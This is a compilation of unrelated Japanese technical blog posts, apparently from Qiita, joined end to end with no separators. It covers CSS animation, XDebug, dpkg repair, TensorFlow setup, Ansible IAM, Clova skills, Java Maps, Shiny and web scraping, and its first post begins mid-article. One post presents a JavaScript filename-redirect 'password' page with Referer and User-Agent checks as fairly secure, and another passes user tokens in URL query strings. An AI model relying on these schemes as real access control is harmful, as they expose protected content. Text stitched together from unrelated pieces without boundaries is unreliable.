コードは [JSFiddle](https://jsfiddle.net/chinju/yucvp2ng/8/) で公開していますので、実際の動作もこちらでご確認ください。

# コード説明
ある程度カスタマイズできたほうが便利だと思うので、軽く説明します。

## html

```main.html
<div class="container container-open">
  <span class="elem-open-1 elem-common">N</span>
  <span class="elem-open-2 elem-common">E</span>
  <span class="elem-open-3 elem-common">W</span>
</div>
```

html は上記の通りです。N, E, W の 3 文字の動きを少しずつずらすために、別のclassを付けます。

## 回転して表示する

```main.css
@keyframes open-container-anim {
  0% { 
    transform: scale(0) rotate(-90deg);
  }
  60% {
    transform: scale(0) rotate(-90deg);
  }
  100% { 
    transform: scale(1) rotate(0deg);
  }
}

.container-open {
  animation: open-container-anim 600ms alternate;
}
```

まずは、回転させながら大きくします。
keyframes で [transform](http://www.htmq.com/css3/transform.shtml) を指定して、大きくしながらかつ、90°回転させて全体を表示させます。

## 表示タイミングだけ NEW の文字を強調する

```css
@keyframes open-elem-anim {
  0% { 
    bottom: 0;
    color: red;
    transform: scale(1);
  }

  60% {
    bottom: 5px;
    color: yellow;
    transform: scale(1.2);
  }

  100% { 
    bottom: 0;
    color: red;
    transform: scale(1);
  }
}

.elem-open-1 {
  animation: open-elem-anim 600ms alternate 400ms forwards;
}

.elem-open-2 {
  animation: 
    open-elem-anim 600ms alternate 500ms forwards;
}

.elem-open-3 {
 animation: 
    open-elem-anim 600ms alternate 600ms forwards;
}
```

container が表示されるまで 600ms としたので、大体回転し終わるくらいから強調アニメーションを開始します。それぞれの要素で、400ms, 500ms, 600ms の delayをかけているので、左の文字から順に大きく強調されます。

## 表示タイミングのアニメーションが終わったら次のアニメーションをループ実行させる

```css
@keyframes idle-anim {
  0% {
    bottom: 0;
    color: red;
  }

  50% {
    bottom: 0px;
    color: red;
  }

  100% {
    bottom: 3px;
    color: orange;
  }
}

.elem-open-1 {
  animation: 
    open-elem-anim 600ms alternate 400ms forwards,
    idle-anim 600ms infinite 1200ms alternate;
}

.elem-open-2 {
  animation: 
    open-elem-anim 600ms alternate 500ms forwards,
    idle-anim 600ms infinite 1400ms alternate;
}

.elem-open-3 {
 animation: 
    open-elem-anim 600ms alternate 600ms forwards,
    idle-anim 600ms infinite 1600ms alternate;
}
```

先ほどの強調アニメーション(`open-elem-anim`)が終わった後、別のアニメーション(`idle-anim`)をループさせます。

ひとつ前のアニメーションに forward を指定し、次に別のアニメーションに繋げることができます。また、 `idle-anim` には `infinite` を指定しているのでループしてこのアニメーションが表示される寸法です。

ぜひカスタマイズして使ってみてください！

# 参考
 - [【CSS3】@keyframes と animation 関連のまとめ](https://qiita.com/7968/items/1d999354e00db53bcbd8)
 - [animation - CSS3リファレンス](http://www.htmq.com/css3/animation.shtml)
 - [transform - CSS3リファレンス](http://www.htmq.com/css3/transform.shtml)
PHPのビルトインサーバ機能を使ったサーバに、XDebugが入らなかった話

たぶんそうそう引っかかることはないのでしょうが、こういうケースもあると思うのでメモ書きに。

ChocolateyでインストールしたPHP(Version 7.2.7)にXDebugをインストールしようとしたら、入らなかった話です。

# 2018/07/13追記：解決しました
Chocolateyでインストールすると、初期状態で非スレッドセーフ版がインストールされてしまう というのが原因でした。
なので、ChocolateyでPHPをインストールするときは、以下のコマンドを使うようにします。

```
> choco install --params '"/ThreadSafe "' php
```

これで、「試した手順」の通りの手順でデバッグ実行ができるようになります。

もうすでに非スレッドセーフ版をChocolatyでインストールしていた場合、`choco uninstall phpだけではアンインストールできない場合がありますので、その場合は以下の通りにして既にインストールしたPHPを削除します。

```
> choco uninstall -y php -n
```

コマンド実行後、エクスプローラーからC:\tools\php72をフォルダごと削除します

# 試した手順~~(うごかないほう)~~

* https://xdebug.org/download.php よりXDebugをダウンロード。2018/07/13現在2.7.0alpha1
* `C:\tools\php72\ext`にダウンロードしたファイルを配置し、Ctrl+右クリックよりフルパスをコピーしておく
* `C:\tools\php72\php.ini`を開き、一番下の行に以下を追加

```ini
[XDebug]
zend_extension = "（さっきコピーしたフルパス）"
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir = "（適当なフォルダパス）"
xdebug.profiler_output_name = "cachegrind.out.%t-%s"
xdebug.remote_enable = 1
xdebug.remote_autostart = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
xdebug.remote_port = 9000
xdebug.auto_trace = 1
xdebug.trace_output_dir = "（適当なフォルダパス）"
xdebug.idekey = "phpstorm"
```

ここまででインストールは完了のハズですが、`php -v`コマンドを実行すると`failed loading`と表示される。

## 原因

不明。おそらくPHPのバージョン7.2.7か、64bit版が動かなかったものと思われます(XDebugのバージョンを変えてもダメでした)。

# やり直した結果(大丈夫だった方)

早い話、XAMPPで入れた方は大丈夫でした(自分がインストールしていたバージョンでは、コントロールパネルバージョン3.2.2/PHPバージョン7.2.4 32bit版)

* https://www.apachefriends.org/jp/index.html より、XAMPPをダウンロード
* `c:\xampp\php\ext`にXDebugの**32bit版**DLLをダウンロードしてコピーする(上記リンクからダウンロードできるXAMPP内のPHPが32bit版のため)
* `c:\xampp\php\php.ini`に上記の通りのコードを追加
* XAMPPのコントロールパネルでApacheを起動

デバッグ方法は、https://qiita.com/dz_/items/fb574782f4b4b30149a8 などを参考に(わたしの環境ではserverSourceRootとlocalSourceRootは不要でした)。

そして、PHPコードにブレークポイントを設置したあと、VSCode側で「デバッグを開始」、ブラウザ側でページを読み込もうとすると…。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/14499/8cd1987e-cb07-ce7a-c19e-962f67b1f9eb.png)

ほら動いた。

XAMPPはC:\xampp\htdocs\配下にファイルを置くようになっているので、「ファイルの移動がめんどくさい！」という方は、[リンク作成シェル拡張](https://github.com/kobake/lnhdr)などを使ってシンボリックリンクなどを作ってしまうといいのではないでしょうか。

# 結論

どうしても構成が間違ってないハズなのにXDebugが読み込まれない・`failed loading`が出る ということであれば、PHPのバージョンを疑ってみるといいでしょう。

XAMPPが入っていると、通常どおりにインストールしたPHPとは別のPHPが動作することになるので、そちらを試すのもよいと思います。

検証用にわざと古いXAMPPをとっておくのもよいかもしれません。
Basic認証(基本認証)はダサかったので、他の方法を考えてみた。

WEBデザイナーの[あやおり子](https://twitter.com/ayaoriko)です。

WEBデザイナーは転職するときにポートフォリオを作りますが、仕事で作った作品はさすがに一般公開できません。

その時に鍵をかける必要がありますが、DBを使ってパスワードを管理する器用なプログラミングは無理です。

そんな時に使われる主なやり方がBasic認証(基本認証)です。
https://allabout.co.jp/gm/gc/23780/

しかし、私はWEBデザイナー。
**アプリのログイン画面のようにHTMLでデザインしたい！！**

そう思い、今回はBasic認証(基本認証)を使わずに鍵をかけられる方法を探しました。

# Javasctiptなのにバレずに鍵をかける方法

RSA公開鍵などの方法もありますが、ライブラリを使わずになるべくシンプルに鍵をかけたいです。

検索したなかで、私がいいなと思った方法がこちらのサイトに書いてありました。
https://allabout.co.jp/gm/gc/23839/

ボタンを押すとパスワードを入力するアラートが表示され、
文字を入力すると、入力した文字+.htmlファイルが表示されるという仕組みです。

私はこの機能を使って、入力フォームのようにパスワードを入力することに挑戦しました。

*※かなり厳重に鍵をかけていますが、絶対大丈夫かは定かではありません。自己責任でお願いします*

# ログインページの作り方
ログインするページをlogin.htmlとします。
見た目としては、このようなイメージになります。
<img width="746" alt="login.htmlイメージ" src="https://qiita-image-store.s3.amazonaws.com/0/225361/1ae5ecfa-1a5b-8cee-4754-401f90c288e9.png">

また、パスワードを入力した後のパスワードページをpassword.htmlとします。

## HTML

ログインする部分のHTMLです。

formタグの `onsubmit="return false;"`が重要ポイントです。
これを指定しないでEnterボタンを押すとPOST送信されてしまい、きちんとページ遷移ができない場合があります。

```html:login.html

<body>
  <h1>パスワードを入力してください</h1>
  <form name="pwform" onsubmit="return false;">

    <!--　パスワードを入力する -->
    <input type="password" name="txtb" value="">

    <!--　送信したらjavascriptのtbox()の中身が動く -->
    <input type="button" value="送信" onclick="tbox()">

　　　　　　　　<!--　送信したらjavascriptのclr()の中身が動く -->
    <input type="button" value="リセット" onclick="clr()">

  </form>
<body>
```


また、パスワードページには、検索ロボットを弾く設定を書きます。

*※.htaccessファイルにも同様に弾く設定を書きますが、100%弾く保証が無いので、念には念をいれて重複させて書いています。*

```html:password.html
<meta name="robots" content="noindex">
```

## .htaccessファイル

次に、.htaccessファイルを編集します。
.htaccessを設置すると、認証・転送・制限などの見るときの機能を設定することができます。

こちらでは、検索ボットを弾くことと、ログインページの外部アクセス禁止の設定をしていきます。

```apache:.htaccess

<Files ~ "^\.(htaccess|htpasswd)$">
deny from all
</Files>

order deny,allow

# パスワードページ(password.html)の場合
<Files password.html>

# 検索ボットの巡回を弾く設定
SetEnvIf User-Agent "Googlebot" shutout
SetEnvIf User-Agent "Slurp" shutout

# ログインページ(hogehoge.comは、自分のサイトのURLに設定する)
SetEnvIf Referer "^https://hogehoge\.com/login.html" ref_ok
SetEnvIf Referer "^http://hogehoge\.com/login.html" ref_ok

order Deny,Allow
Deny from all
allow from env=ref_ok

</Files>

```

## Javascript
最後に、javascriptを書いていきます。

```javascript:login.html
    // onclick="tbox()" が押されたら
    function tbox(){

       // <form name="pwform">内の <input name="txtb">　の値を取得
       var str = document.pwform.txtb.value;
       
       // もし　<input name="txtb">　の値が半角英数字以外だったら、アラートを出す
       if( /\W+/g.test(str) ) {
          alert("半角英数字のみを入力して下さい。");
       }
       
       // もし　<input name="txtb">　の値に何かしら入っていたら、入力値.htmlに移動する
       else if( str != null ) {
            location.href = str + ".html";
       }

    }

    // onclick="clr()" が押されたら、フォームの値を消す
    function clr(){
      document.pwform.txtb.value="";
    }

```
## 完成

Javascriptなのにバレない、かつデザイン出来るログインページを作ることができました！！！
Goでブラックジャックを実装する

- [プログラミング入門者からの卒業試験は『ブラックジャック』を開発すべし - Qiita](https://qiita.com/hirossyi73/items/cf8648c31898216312e5)

Goを新たに触ることになったので、せっかくだからブラックジャックを実装してみました。
ルールは上記投稿の「[開発するブラックジャックのルール](https://qiita.com/hirossyi73/items/cf8648c31898216312e5#%E9%96%8B%E7%99%BA%E3%81%99%E3%82%8B%E3%83%96%E3%83%A9%E3%83%83%E3%82%AF%E3%82%B8%E3%83%A3%E3%83%83%E3%82%AF%E3%81%AE%E3%83%AB%E3%83%BC%E3%83%AB)」に従います。
Aの得点の扱いや、その他のルールに関してもまずは忘れることにします。

# 実行結果
<img width="442" alt="goblackjack.png" src="https://qiita-image-store.s3.amazonaws.com/0/155632/67e2cc05-7b83-36da-2c8c-d3f84e8a000b.png">
それっぽい感じになっているのではなかろうかと思うのですが。

# ソースコード
https://github.com/miko8i8/GoBlackjack

「とりあえず動く」程度のものは4時間くらいで出来た気がします。
だいぶゴチャゴチャしたコードだったので、調べながらの再実装が6時間くらい。
合計10時間くらい掛かりました。結構時間を要したな……。

## 補足

### ブラックジャックのルール関連はmain.goに記述

主に下記などの得点関連の処理ですね。

```go
func CardScore(card Card) int {
  score := 0
  switch card.Number {
  case 11, 12, 13:
    score = 10
  default:
    score = card.Number
  }
  return score
}
```

「カードの得点」ということで最初は `card.go` に記述していたのですが、「あくまでカードはスートと値しか情報は持っていない」「得点をどう扱うかはルールの問題」なので `main.go` に移しました。
`judge.go` とかにルール関連処理をまとめる、でもよかったかもしれません。
(追加でルールを実装する際にはそうしていくほうがよいかも)

### カードを重複なく引く方法

- [sliceのシャッフル - Qiita](https://qiita.com/sugyan/items/fd7138a756c1a409f5fd)

調べていく中で上記の投稿を発見したため、「52枚のカードを予め用意してからシャッフル、先頭から1枚ずつ引く」という実装にしました。

最初は「カードを引くたびにプレイヤーとディーラーの手札に同じスート・値の組み合わせがないかをチェックする」という実装でした。

```go
for {
  suit := rand.Intn(4)
  value := rand.Intn(13)
  // isDrawed()で同じsuitとvalueの組み合わせが手札に存在していないかチェック
  if isDrawed(suit, value) == false {
    // 手札にカードを追加する処理
    break
  }
}
```

みたいな。

# 苦労した点

## ポインタ

これまで触ったことのある言語が主にPHPとJava、最近Rubyと経由して、この中であまりポインタを意識して取り扱ったことがなかったため、苦労しました。

- [Goで学ぶポインタとアドレス - Qiita](https://qiita.com/Sekky0905/items/447efa04a95e3fec217f)

こちらの投稿と、その参考サイトあたりを主に参照していました。
他者に説明しろと言われると無理そうなので、もっとちゃんとした理解が必要そうです。

(すごく大まかには「Javaで言うところの、"いわゆる" 値渡し・参照渡し、に近い概念」という方面の理解をしつつあるのですが、それで良いのかな……)

## 構造体

- [【Go言語入門】構造体とポインタについて - Qiita](https://qiita.com/To_BB/items/5b3625f8eca4f1c88574)

主にこちらの投稿を参考にしました。
とはいえ、構造体それ自体に苦労したというよりは、構造体を取り扱うにあたってのポインタの扱いに苦労した、というほうが正確かもしれません。

# 感想

やっぱり作るものが明確だと楽しいし、調べるにしても散漫にならなくてよいですね！
dpkgやapt-get関連でエラーが出た時の対処法

サイトのSSL(Let's Encrypt)を更新しようとしたらエラーが出て大変だったのでメモ。

# エラーメッセージ一覧

> サブプロセス インストール済みの post-installation スクリプト はエラー終了ステータス 1 を返しました

> Sub-process /usr/bin/dpkg returned an error code (1)

> E: Internal Error, No file name for

↑これはreinstall操作の時に出たと思う

# 原因を探る

```
sudo dpkg --audit
```

または問題が起こっているパッケージがわかっている場合は個別のステータスを見る。

> Status: install ok half-configured

と出たので、どうやら2つほどうまく設定されていないパッケージがあるようだ。  
しかしconfigがうまくいかない。

# 対応

/var/lib/dpkg/info の以下の、該当するパッケージ（ここではhogeとする）の

- hoge.postinst
- hoge.postrm
- hoge.prerm

を削除してから

```
sudo dpkg --configure hoge
```

# 参考

[【LIVA】【Ubuntu server14.04】apt-getでエラー発生（post-installationスクリプトエラー）](http://engetu21.hatenablog.com/entry/2014/12/06/004525)

結果だけ見ると上のページと全く同じだった。  
自分は以下のページが参考になったのでリンクしておきます。

- [apt-getによる依存関係の解決方法](https://serverlog.jp/apt-get-dependence/)
- [apt-getのpost-installationスクリプトエラー ](http://ikkuntech.blogspot.jp/2012/03/apt-get.html)
- [ adebe flash player plugin がインストールできません](https://forums.ubuntulinux.jp/viewtopic.php?id=6272)

※この記事は2017-07-22 09:00に公開したブログ記事を移転してきたものです。
WindowsでTensorFlow-GPU環境を構築してNNを動かす

# DeepLearning環境構築全般の問題
* 大分前にハマった環境構築を備忘的に記事化する。
* DeepLearningとかを動かしてみたいけど、大体UbuntuなどのLinux環境がスタンダード
* とはいえWindowsで構築したい（普段使ってるし、別PCもないし、Macもねえ）
* でもその場合には色々とハマりポイントが多かった。
* GPUを使いたい場合はPythonから呼ばれる各種ライブラリの依存関係が面倒。
 * 結局、VSやらVCやらがビルドしてる（大抵Linuxより面倒）
* CUDAやら、ドライバやらのインストールが解決してもcupyやらなんやらがプラットフォームごとに面倒なことになっている
 * 結局 WebのstackoverflowとかのQAをみつつ.libを個別ビルドしたり非公式.whlをpipで個別に入れたりするハメに
* どーにかならんかと思ってたら、anacondaが進化してて幸せになった話:point_up:を記録

# 結論：Anacondaによる環境構築
今回はTensorflowを動かすところまでWindows10上で構築してみる。
GPUはGTX1050Tiで、ただ、CUDA周辺は大分前に設定したので忘れた。
きっとCUDA v8.0 + CuDNNv6、必要なPathは通っている前提

## Miniconda
　　1. インストールは[ここ](https://conda.io/miniconda.html)から64bit版を普通にいれればOk
　　2. Path設定、今回はPowerShellにこだわってPowerShellの起動時スクリプトで追加する（DOSはやだ）
　　Anaconda promptのPATHをそのまま追加

   ```ps1:Microsoft.PowerShell_profile.ps1
      Set-Item Env:path "$Env:path;C:\Users\xxx\Miniconda3;C:\Users\xxx\Miniconda3\Library\mingw-w64\bin;C:\Users\xxx\Miniconda3\Library\usr\bin;C:\Users\xxx\Miniconda3\Library\bin;C:\Users\xxx\Miniconda3\Scripts;C:\Users\xxx\Miniconda3\bin;"
   ```
###　仮想環境作成
まだ。3.5で幸せになれそうなので3.5で作成した

```
> conda create -n py35 python=3.5
> conda-env list
```

こんなんがでる

```
# conda environments:
#
base                  *  C:\Users\xxx\Miniconda3
py35                     C:\Users\xxx\Miniconda3\envs\py35
```
activateは。。。Powershellだとなんかできない。
[ここ](https://qiita.com/nabehide/items/097553ccd51543ee31fb)を参考にありがたく解決。

以降、conda上の仮想環境に構築していく。

## TensorFlow 

```
> conda install tensorflow-gpu 
```
色々みるとpipでのInstallがでてくるが、conda上なら結局参照先は同じっぽい
結果、インストールは問題なく完了。
しかもVS2015関連とか勝手に入れてくれてるような雰囲気。素晴らしい。

```
> python
Python 3.5.4 |Anaconda, Inc.| (default, Nov  8 2017, 14:34:30) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import tensorflow
>>>
```
よっしゃ。ってさらっと書いているが
個別にやってたのがうそのよう。これでとりあえず動く。
あとは、conda-env export とかでLinuxへ移植もできる。はず。
【Ruby on Rails】rails newを実行するとこんだけディレクトリが自動生成されます

[ディレクトリ]	[用途]
app/
-モデル、ビュー、コントローラ、ヘルパーなどを含む主要なアプリケーションコード
app/assets
-アプリケーションで使うCSS (Cascading Style Sheet)、JavaScriptファイル、画像などのアセット
bin/
-バイナリ実行可能ファイル
config/	
-アプリケーションの設定
db/
-データベース関連のファイル
doc/
-マニュアルなど、アプリケーションのドキュメント
lib/
-ライブラリモジュール
lib/assets
^ライブラリで使うCSS (Cascading Style Sheet)、JavaScriptファイル、画像などのアセット
log/
-アプリケーションのログファイル
public/
-エラーページなど、一般(Webブラウザなど)に直接公開するデータ
bin/rails
-コード生成、コンソールの起動、ローカルのWebサーバの立ち上げなどで使うRailsスクリプト
test/
-アプリケーションのテスト
tmp/
-一時ファイル
vendor/
-サードパーティのプラグインやgemなど
vendor/assets
-サードパーティのプラグインやgemで使うCSS (Cascading Style Sheet)、JavaScriptファイル、画像などのアセット
README.md
-アプリケーションの簡単な説明
Rakefile
-rakeコマンドで使えるタスク
Gemfile
-このアプリケーションに必要なGemの定義ファイル
Gemfile.lock
-アプリケーションで使われるgemのバージョンを確認するためのリスト
config.ru
-Rackミドルウェア用の設定ファイル
.gitignore
-Gitに取り込みたくないファイルを指定するためのパターン
【AWS・Ansible】コマンド１つでIAM Role作成

2020/06/12
Ansibieはナンセンス！
Terraformで書きましょう！
ーーーーーーーーーーーーー


構成管理ツールAnsibleを使って、以下を作成します。

- IAM Role
- IAM Policy

後述する「事前準備」が完了しましたら、
以下のコマンドで、いつでも同様の環境が作れるようになります。

# 実行コマンド

```
$ ansible-playbook -i hosts/[環境名] aws-iam.yml
```

実行には、aws profileの設定が必要になります。
AWSアカウント情報をパラメータファイルに記載し実行することも可能ですが、
セキュリティ面を考慮し、aws profileを使用しました。

まだ設定されていない方は、以下の公式ドキュメントを参考に設定を行ってください。

[名前付きプロファイル - AWS CLI の設定](https://docs.aws.amazon.com/ja_jp/cli/latest/userguide/cli-multiple-profiles.html)


# 事前準備

以下が必要になります。
足りないのもは、インストールしてください。

- boto
- python >= 2.6
- Jinja2


次に、以下のファイルを作成しましょう。

## Playbookファイル

このファイルでは、実行するTaskを定義します。
コマンドを実行すると、上からTaskが順に実行されます。


```aws-iam.yml
---
- hosts: localhost
  connection: local
  gather_facts: False
  become: False
  tasks:
    - name: "IAM Roles"
      iam:
        iam_type: role
        name: "{{ item.name }}"
        state: present
        profile: "{{ profile }}"
      with_items: "{{ iam_role }}"
    - name: "IAM Policy"
      iam_policy:
        iam_type: role
        iam_name: "{{ item.0.name }}"
        policy_name: "{{ item.1 }}"
        policy_json: "{{ lookup('template','policy/' + item.1 + '.json', convert_data=False) }}"
        state: present
        profile: "{{ profile }}"
      with_subelements:
        - "{{ iam_role }}"
        - policy
```

## IAM Policyファイル

``` policy/[プロキシ名].json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
       ここに許可するアクションを記載
      ],
      "Resource": [
       許可先のAWSリソースを記載
      ]
    }
  ]
}
```

## パラメータファイル

構築する際の設定パラメータをこのファイルに集約します。
構築したい環境に合わせて、パラメータを記載してください。

なお、ファイルの配置先は、環境名に合わせて配置してください。

環境別にフォルダを分けて、パラメータファイルを作成することで、
開発/検証/本番 環境など、各環境に応じて動的に構築可能となります。

```hosts/[環境名]/group_vars/all.yml
---
# Common
env: [環境名]
profile: [プロファイル名]
region: [リージョン]

# IAM Roles
#
iam_role:
  - name: [IAM Role名]
    policy:
      - [Policy名]
      ・
      ・
      ・
  - name: 
  ・
  ・
  ・
```

# おわりに

今回は、構成管理ツールAnsibleを使いましたが、
AWSのCloud formationでも、同様のことができます。

ただ、Ansibleの場合、システム内構築（SSH、OSユーザーなど）なども定義することができ、
おすすめのツールです。


Ansibleの良いところは、
事前にTaskさえ定義しておけば、後はプロジェクトや環境に合わせて設定パラメータを用意するだけ。
簡単に基盤構築ができてしまうところです。

AWS Consoleから手作業で構築するより、
Ansibleで構築した方が、圧倒的に工数を短縮することができます。


お仕事で、AWSの基盤構築されてる方は、是非、Ansibleを活用してみてください。
[入門]Clovaスキル(CEK)は作りながら覚えて行く（前提知識編）

# この記事で書いてあること

先日CEKの一般公開を期に、`CEK + Lambda + API Gateway`を実践してみました。
この記事を一通りやると、簡単なClovaスキルが作成できるようになります。

| No|タイトル|
|------------------|--------------------------------------|
|1|[[入門]Clovaスキル(CEK)は作りながら覚えて行く（前提知識編）<< 今ここ](https://qiita.com/imajoriri/items/8d511cdfde8cb731ff82)|
|2|[[入門]Clovaスキル(CEK)は作りながら覚えて行く（インテント、スロットなど登録編）](https://qiita.com/imajoriri/items/604ff74c4e81859771e2)|
|3|[[入門]Clovaスキル(CEK)は作りながら覚えて行く（Lambda使ってコード実装変）](https://qiita.com/imajoriri/items/357026af6b0de0dfe330)|
|4|[[入門]Clovaスキル(CEK)は作りながら覚えて行く（signature検証編）](https://qiita.com/imajoriri/items/92d8a2906e554f43b2a5)|
|番外編|[公式SDKを使ってLambdaで開発した記事を書いてみました](https://qiita.com/imajoriri/items/0ef7aba9fea1f2d6ea1c)|


今回は、Clovaのアプリを開発するに当たって、コードとかを書き始める前に必要最低限の知識をまとめた。
とは言ってもある程度、AlexaやGoogleAssistantと被っていたのでわかりやすかった。

***Alexaと比較して説明するところが多いいですが、ご了承ください。***

# スキル(Extension)とは

おなじみ、Alexaのスキルに位置するもの。GoogleAssistantならアクション。
色々呼び方があるが、私はAmazonと統一させたいので`スキル`と呼ぶことにした。

ちなみに、呼び方は

* スキル
* Extnsion
* Clova Extension

の３つあるらしい。

# CEK(Clova Extensions Kit)とは

CEKとは、Clova Extension(Extensionまたは、スキル)を開発および公開する時に必要なツールと、インターフェイスを提供するプラットフォーム
つまり、スキルを開発するところ。
Alexaでいう、ASK(Alexa Skills Kit)に該当する。

# スキルの種類

現在、サードパーティーで開発できるスキルの種類は以下の2つ。

* Custom Extension(カスタムスキル)
* Clova Home Extension(ホームスキル)

まだ、ブラッシュブリーフィング的なのは存在しないっぽい。

# スキルストア

開発したスキルが公開されたとき、一般のユーザーがそのスキルを見ることができるページ。

# 呼び出し名、インテント、スロット

ここからは説明の為にも一つのスキル(`占い君`)を例に説明していく。
占い君の会話は以下の様な感じだ。

```
ユーザー: 「Clova、占い君を開いて」
Clova: 「あなたの星座を教えてください」
ユーザー: 「私の星座は魚座です。」
Clova: 「魚座ですね。魚座の今日の運勢は○○です。」（スキル終了）
```

この会話で、スキル開発で重要な「呼び出し名」「インテント」「スロット」について説明する。

<img width="966" alt="スクリーンショット 2018-07-05 17.45.25.png" src="https://qiita-image-store.s3.amazonaws.com/0/195882/37116c47-eb2c-53ae-50e5-85c8331f5773.png">


# 呼び出し名

呼び出し名とは、スキルを起動するのに必要な名前。
「Clova、占い君を開いて」において「占い君」の部分に相当する。
「（呼び出し名）を開いて」でスキルを起動する。

***ちなみにスキル名という概念もあって、こちらはスキルストアで表示される名前であり、呼び出し名と同じである必要はない。
ただ全く違うとユーザーとして混乱するので同じか似ているものが望ましい。と思う。***

# インテント

「私の星座は魚座です。」の部分に相当する。
ユーザーが発話した内容が何を意味するかを取得するのに必要となる。

今回は`DivinationIntent`などと名前をつける。

# スロット

「魚座」の部分に相当する。
プログラミングでいう、変数みたいなもの。
今回の発話例には「魚座」を用いたが、星座は人それぞれ違うのでユーザーによって変わってくる。
インテントで、

```
私の星座は蟹座です。
私の星座はふたご座です。
...
```

と、全て定義するのは面倒。
なので、星座の部分はスロットとして別で定義してインテントの中に入れてあげる。
今回は`constellation`と名前をつける。
値は

```
ふたご座
蟹座
魚座
乙女座
etc
```

と、定義しておく。

以上が前提知識である。

次の記事で、実際にスキル登録からインテント、スロットの登録までやってみる。
[[入門]Clovaスキル(CEK)は作りながら覚えて行く（インテント、スロットなど登録編）](https://qiita.com/imajoriri/items/604ff74c4e81859771e2)
JavaでNull安全なMapの値を取得する

# 本記事の目的

JavaではつきもののNull Pointer Exceptionですが、なるべく安全に値を取得したく、今回はMapの値の取得方法を試してみました。

## 検証の対象となるMap
```Java
Map<String, Boolean> map = new HashMap<String, Boolean>() {
  {
    put("true_label", true);
    put("false_label", false);
    put("null_label", null);
  }
};
```
## 普通にMap#get

```java
assertTrue(map.get("true_label"));
assertFalse(map.get("false_label"));

assertNull(map.get("null_label"));
assertNull(map.get("invalid_label")); // Mapに存在しないキー
```

## Java8のMap#getOrDefault
キーがなかった場合に代替値を取得することができます。

```java
assertTrue(map.getOrDefault("true_label", false));
assertFalse(map.getOrDefault("false_label", false));
assertFalse(map.getOrDefault("invalid_label", false)); // キーがなかった場合の代替値を取得できます。

assertNull(map.getOrDefault("null_label", false)); // 残念ながらfalseにはなってくれない!!
```

## Java8のOptional#ofNullable
```java
assertTrue(Optional.ofNullable(map.get("true_label")).orElse(false));
assertFalse(Optional.ofNullable(map.get("false_label")).orElse(false));
assertFalse(Optional.ofNullable(map.get("null_label")).orElse(false)); // 代替値 falseになる
assertFalse(Optional.ofNullable(map.get("invalid_label")).orElse(false)); // 代替値 falseになる
```

## Apache.commons.lang3のObjectUtils#defaultIfNull
Optionalでいいかもしれませんが念のため

```java
assertTrue(ObjectUtils.defaultIfNull(map.get("true_label"), false));
assertFalse(ObjectUtils.defaultIfNull(map.get("false_label"), false));
assertFalse(ObjectUtils.defaultIfNull(map.get("null_label"), false)); // 代替値 falseになる
assertFalse(ObjectUtils.defaultIfNull(map.get("invalid_label"), false)); // 代替値 falseになる
```
ShinyアプリでURLのsearch文字列を変数入力として扱う

Shinyアプリの動作を指定する変数をURLのsearch文字列を使って引き渡す方法について解説する。

## ユースケース

認証機能の無い Shiny Server Open Source でアプリを公開するときに、ユーザ毎にトークンを入力して、ユーザ毎の動作をするようにアプリを作ったが、ユーザから毎回トークンを入力するのが面倒と言われた。その解決方法として、トークン込みのアプリURLをブックマークすればいいのではと思いついた。

## URLに値を埋め込む

ここで、ShinyアプリのURLが<code>http://localhost:3774/myapp</code> とすると、トークンXXXXXを次のように仕込むことができる。
<code>http://localhost:3774/myapp?token=XXXXX</code>


## URLの<code>?token=XXXXX</code>の部分は session$clientData$url_search で参照

```{r}
server <- function(input, output, session){
  token <- reactive({
    url_search =  session$clientData$url_search
    if (url_search != "") {
      sub("\\?token=", "", url_search)
    }
  })
}
```

これで、<code>token()</code>で値を参照できる。


## 参考サイト
* [Shiny - Learn about your user with session$clientData](https://shiny.rstudio.com/articles/client-data.html)
2018年7月第2週　今週気になった記事まとめ

# 今週気になった記事まとめ
##■ガントチャートが作れるサービスを使ってみた【Wrike編】
https://dev.classmethod.jp/project-management/ando-2018tanabata/
パッと見は使いやすそうだが、高機能すぎて面倒かも・・・。

##■【インフラ初心者超必見】インフラ情報まとめ
https://qiita.com/enzen/items/aa98ff1dc502d0ff09ad?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
これは良いまとめ。インフラって？って人に見せるのに良さげ。

##■URLにすべてを詰め込めるサイト作成ツール｢itty.bitty.site｣
https://www.gizmodo.jp/2018/07/itty-bitty-site.html
発想もやっていることも尖ってて面白いが、果たして何の可能性があるのか・・・。

##■セキュリティの自動化--大量アラートに悩む状況を打開するSAOやRPA
https://japan.zdnet.com/article/35121949/
細かい技術の話は理解しきれていないが、大量アラートは現場自体にも経験あるし、それが生む弊害もよく分かるので改善されるなら素晴らしいことだなと。

##■いいなぁ、バーチャル出社。リアルオフィスを捨てた会社が急成長中
https://www.gizmodo.jp/2018/07/real-estate-company-operating-entirely-in-vr.html
VRまで使う意味がよく分からない。。。
チャットツールだけじゃないメリットがいまいち感じ取ることができなかった。
バーチャル出社自体は羨ましい部分はあるけど、アバター使いたいとは思わない。
競馬を統計的に予想してみる(その1：レース結果のURLを取得)

## 目的
競馬を統計的に予想したい！

何回かに分けて目的を達成してく予定
<b>1. レース結果のURLを取得 <- 今回はこれが目的</b>
2. 1のURLからレース結果をスクレイピング
3. 2のデータから統計モデルを作る
4. 予想してみる

## 環境
+ Raspberry Pi 3 ModelB[^1]
[^1]: ラズパイ上で動作させることは必須ではないが、今後スタンドアローンで動かせるようにしていきたいため、ラズパイを使用
+ Python v3.5.3

## 作業メモ

### 事前準備

作業用の環境を準備して、必要なパッケージをインストールする

+ 仮想環境の準備

```
$ python3 -m venv tmp
$ source tmp/bin/activate
```

以下のように先頭に`(tmp)`が付けばOK

```
(tmp) pi@raspberrypi:### $
```

+ beautifulsoup4のインストール

```
$ pip3 install beautifulsoup4
(略)
Successfully installed beautifulsoup4-4.6.0
```

### レース結果のURLを取得

以下のサイトからレース結果が載っているURLを取得するスクリプトを作成する
http://www.netkeiba.com/

<b>参考サイト</b>
Pythonはかなりの初心者のため、色々なサイトを参考にさせていただいた

コマンドライン引数の取得
https://www.python-izm.com/basic/command_line_arguments/

Noneの判断
https://www.sejuku.net/blog/50205

sleepの追加
https://qiita.com/Azunyan1111/items/9b3d16428d2bcc7c9406

